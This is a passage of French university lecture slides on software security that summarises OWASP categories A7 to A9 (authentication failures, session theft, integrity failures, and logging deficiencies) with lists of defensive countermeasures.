A7. Échecs d'identification et d'authentification

Attaque contre le système d’authentification


 Solutions
1. Utilisation de :
─Mots de passe forts
─Message d’erreur générique
─Verrouillage de compte après 5 erreurs consécutives
─Captcha
2. Supprimer ou désactiver les comptes par défaut
3. Système de création de comptes par soi-même
4. Ne pas autoriser les identifiants proches
5. Générer l’identifiant de connexion

Jamila Oukharijane Sécurité logiciel 78


A7. Échecs d'identification et d'authentification

Vol de session
 Solutions

1. Utiliser un moyen d’identification secondaire

2. Détruire les sessions

3. Ne pas soumettre les données par GET

4. Chiffrer les flux de transmission des identifiants

5. Redemander le mot de passe lors d’un changement de


niveau de privilège

Jamila Oukharijane Sécurité logiciel 79


A8. Manque d’intégrité des données et du logiciel

 Cette faille concerne les mises à jour logiciel, les données


critiques et les pipelines CI/CD dont l’intégrité n’est pas vérifiée.

 Exemple : les plug-ins, les bibliothèques ou les modules issus


de sources non vérifiables ou non fiables.

 Les fonctions d’actualisation automatiques des applications


sans vérification d’intégrité font aussi partie de cette faille.

Jamila Oukharijane Sécurité logiciel 80


A8. Manque d’intégrité des données et du logiciel

 Cette faille concerne les mises à jour logiciel, les données


critiques et les pipelines CI/CD dont l’intégrité n’est pas vérifiée.

 Exemple : les plug-ins, les bibliothèques ou les modules issus


de sources non vérifiables ou non fiables.

 Les fonctions d’actualisation automatiques des applications


sans vérification d’intégrité font aussi partie de cette faille.

Jamila Oukharijane Sécurité logiciel 81


A8. Manque d’intégrité des données et du logiciel

Solutions

 Utilisez des signatures numériques

 N’utilisez que des bibliothèques et dépendances de sources


fiables

 Établissez un processus de révision des changements de code


et de configuration

 Mettez en œuvre une distinction, configuration et contrôle des


accès fondamentaux du pipeline CI/CD

 N’envoyez pas de données sérialisées non sécurisées ou non


chiffrées à des clients non fiables
Jamila Oukharijane Sécurité logiciel 82
A9. Carence des systèmes de contrôle et de journalisation

 Pour garantir la sécurité d’une application, il est nécessaire de


surveiller et de monitorer les connexions.

 De nombreux serveurs vulnérables servent de rebond aux


attaquants. La mise en place de monitoring permettra de
détecter une anomalie sur le serveur.

Jamila Oukharijane Sécurité logiciel 83


A9. Carence des systèmes de contrôle et de journalisation

Les failles les plus courantes :

 Les connexions, échecs de connexion ou de transactions


sensibles ne sont pas journalisées ;

 Les alertes ou les erreurs ne font l’objet que de journalisations


insuffisantes ou peu claires, s’ils en font l’objet tout court ;

 Les protocoles d’API et d’application ne sont pas contrôlés pour


détecter des activités suspectes ;

 Il n’y a pas de seuil ou un seuil inefficace d’alerte ni de


remontée d’information pour y répondre ;

 Il n’est pas possible d’identifier une attaque en temps réel

Jamila Oukharijane Sécurité logiciel 84


A9. Carence des systèmes de contrôle et de journalisation

Solutions :

 Mettez en œuvre un processus de contrôle et journalisez tout ce


qui concerne la connexion

 Conservez les données de journalisation suffisamment


longtemps

 Sauvegardez les données dans des formats supportés par les


gestionnaires de logs

Jamila Oukharijane Sécurité logiciel 85

Vous aimerez peut-être aussi